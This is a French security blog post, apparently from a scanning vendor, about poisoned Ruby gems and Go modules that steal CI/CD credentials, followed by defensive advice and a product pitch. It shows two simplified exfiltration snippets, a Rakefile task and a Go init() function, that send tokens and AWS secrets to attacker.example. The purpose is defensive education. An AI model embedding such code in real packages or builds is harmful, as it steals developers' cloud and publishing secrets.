← Tous les articles

supply-chain

Des gems Ruby empoisonnées détournent les pipelines CI pour voler des identifiants

·6 min read

Des gems Ruby et des modules Go empoisonnés détournent votre pipeline CI

Des attaquants publient des gems Ruby et des modules Go malveillants qui imitent des paquets légitimes, exfiltrant silencieusement des identifiants depuis les environnements CI/CD dès que votre pipeline les installe. Ce schéma d'attaque contre la chaîne d'approvisionnement logicielle, signalé le 1er mai 2026, cible activement les runners GitHub Actions, GitLab CI et CircleCI.

Ce qui s'est réellement passé

Des chercheurs en sécurité ont révélé une campagne coordonnée dans laquelle des adversaires ont téléversé des paquets typosquattés et des paquets de confusion de dépendances sur RubyGems.org et dans l'écosystème du proxy de modules Go. Les noms de paquets étaient conçus pour ne différer que d'un caractère des gems populaires — par exemple aws-sdk-rubyy ou go-redis-client — ou correspondaient délibérément à des noms de paquets internes que les entreprises ont oublié de publier (le vecteur classique de confusion de dépendances démontré pour la première fois par Alex Birsan en 2021).

Une fois que l'agent de build installe le paquet empoisonné, un hook post-installation embarqué exécute un petit binaire Ruby ou Go qui :

  1. Lit les variables d'environnement (AWS_ACCESS_KEY_ID, GITHUB_TOKEN, NPM_TOKEN, DATABASE_URL, etc.)
  2. Énumère les variables spécifiques au CI (CI, RUNNER_TEMP, CIRCLE_TOKEN) pour confirmer qu'il s'exécute dans un pipeline automatisé
  3. Envoie les données collectées via HTTPS vers un endpoint contrôlé par l'attaquant, se fondant dans le trafic sortant normal

Étant donné que la plupart des runners CI disposent de larges permissions IAM et d'un accès aux secrets de production, un seul build compromis peut donner aux attaquants les clés de votre compte cloud, les droits de publication npm ou les identifiants de base de données — sans hameçonnage requis.

Pourquoi c'est particulièrement dangereux pour les développeurs en ce moment

L'ampleur des écosystèmes Go et Ruby rend l'audit manuel impossible. RubyGems.org héberge plus de 170 000 gems ; le proxy de modules Go miroire des millions de modules depuis GitHub. Aucun de ces deux écosystèmes n'impose la signature de code au niveau du registre, contrairement à ce que tente la fonctionnalité de provenance de npm (introduite en 2023).

Pire encore, les projets générés par vibe-coding ou par IA intègrent fréquemment des dépendances suggérées par des LLM sans qu'aucun humain n'ait jamais lu deux fois le nom du paquet. Si GPT-4o ou Claude recommande stripe-ruby-helper et que ce nom exact correspond à un paquet malveillant, il se retrouve directement dans Gemfile.lock et est commité.

L'attaque est également persistante : Gemfile.lock et go.sum épinglent la version malveillante, ce qui signifie que chaque nouvelle exécution CI réinstalle le même paquet empoisonné jusqu'à ce que quelqu'un audite le lockfile.

Le mécanisme technique : hooks post-installation et fonctions init()

Les gems Ruby abusent des champs extensions et post_install_message dans un gemspec, mais, plus dangereusement, les attaquants intègrent du code exécutable directement dans un Rakefile qui s'exécute lors de gem install. Il n'existe aucun bac à sable.

Les modules Go ne peuvent pas exécuter de code arbitraire au moment de l'installation — mais le vecteur d'attaque se déplace vers les fonctions init() dans les fichiers source .go. Lorsque votre code (ou une dépendance légitime) importe le module malveillant, la fonction init() se déclenche automatiquement au démarrage du programme, y compris lors de go test et go build en CI.

# Exemple de Rakefile malveillant (simplifié)
task :default do
  require 'net/http'
  secrets = ENV.select { |k, _| k.match?(/token|key|secret|password/i) }
  Net::HTTP.post(URI('https://attacker.example/collect'), secrets.to_json)
end
// Exemple de fonction init() malveillante en Go (simplifié)
func init() {
    secrets := os.Getenv("GITHUB_TOKEN") + "|" + os.Getenv("AWS_SECRET_ACCESS_KEY")
    http.Post("https://attacker.example/collect", "text/plain", strings.NewReader(secrets))
}

Ces deux extraits sont trivialement obfusqués avec de l'encodage base64 ou du découpage de chaînes, rendant la détection statique par grep peu fiable.

Comment protéger votre pipeline

1. Épingler et vérifier les lockfiles

N'exécutez jamais bundle install ou go get sans un lockfile commité et révisé. Activez le mode --frozen en CI de production (bundle install --frozen, go mod verify).

2. Activer la protection contre la confusion de dépendances

Si vous utilisez des paquets privés, configurez BUNDLE_MIRROR ou un GOPROXY Go pointant en priorité vers votre registre interne, avec GONOSUMCHECK désactivé. Pour RubyGems, utilisez un bloc source dans le Gemfile qui délimite explicitement les gems privées.

3. Auditer les noms de gems et de modules par rapport à des listes de référence

Des outils comme bundler-audit détectent les gems ayant des CVE connus, mais pas les nouveaux typosquats. Comparez les entrées de votre Gemfile.lock avec les noms exacts utilisés dans votre base de code et la liste de dépendances connues de votre équipe.

4. Restreindre l'exposition des variables d'environnement CI

Appliquez le principe du moindre privilège aux secrets CI. Un job de build qui ne fait qu'exécuter des tests ne devrait pas avoir AWS_ACCESS_KEY_ID dans sa portée. Utilisez des identifiants éphémères basés sur OIDC (OIDC GitHub Actions + AWS assume-role) plutôt que des clés statiques, chaque fois que c'est possible.

5. Bloquer les connexions sortantes inattendues depuis les agents de build

Le filtrage des flux sortants sur les runners CI est sous-utilisé. Si votre runner n'a aucune raison légitime d'envoyer des données en POST vers des endpoints HTTPS aléatoires, une politique réseau ou un outil comme Falco peut détecter et tuer le processus.

6. Analyser la surface de dépendances de votre application web

Au-delà du pipeline CI lui-même, votre application déployée embarque ces mêmes gems et modules. Un scanner de sécurité pour applications web qui cartographie votre arbre de dépendances et signale les paquets avec des hooks post-installation suspects ou des versions malveillantes connues vous offre une deuxième ligne de défense. Scorra analyse les applications Ruby on Rails et Go déployées à la recherche de risques au niveau des dépendances, en parallèle des vérifications OWASP standard, en remontant des problèmes tels que les paquets obsolètes ou signalés avant qu'ils n'atteignent la production.

Ce que font RubyGems.org et l'équipe Go

RubyGems.org a accéléré son SLA de suppression des logiciels malveillants et ajouté une analyse automatisée via le projet rubygems-research, mais la suppression reste réactive. La sum database de l'équipe Go (sum.golang.org) garantit l'intégrité du contenu des modules après le premier téléchargement — elle détectera un paquet qui modifie son code après sa publication, mais elle n'empêche pas l'installation d'un module malveillant fraîchement publié avant qu'il ne soit signalé.

Les deux écosystèmes envisagent d'imposer la MFA obligatoire pour les mainteneurs des paquets les plus téléchargés (RubyGems a annoncé cette obligation pour les 100 gems les plus populaires en 2022 ; la couverture reste incomplète).

En résumé

Les attaques contre la chaîne d'approvisionnement via les registres de paquets ne sont pas nouvelles — SolarWinds (2020), le sabotage de colors et faker-js (2022), la backdoor XZ Utils (2024) — mais le ciblage spécifique des pipelines CI les rend disproportionnellement destructrices. Un seul gem empoisonné dans un agent de build peut compromettre l'intégralité de votre compte cloud, et pas seulement l'application qu'il produit.

Auditez vos lockfiles dès aujourd'hui. Faites tourner tous les secrets qui ont jamais été présents dans un environnement CI ayant installé des paquets tiers sans vérification. Et faites de l'analyse des dépendances une étape obligatoire dans votre pipeline, et non une étape facultative.


Analysez automatiquement la surface de dépendances de votre application. Scorra identifie les paquets vulnérables et suspects dans vos applications Ruby et Go déployées, en parallèle des vérifications OWASP Top 10 — en quelques minutes, sans accéder à votre code source.

Votre app est-elle sécurisée ?

Scannez-la maintenant - gratuitement. Obtenez un score de sécurité en 60 secondes.

Scanner votre app →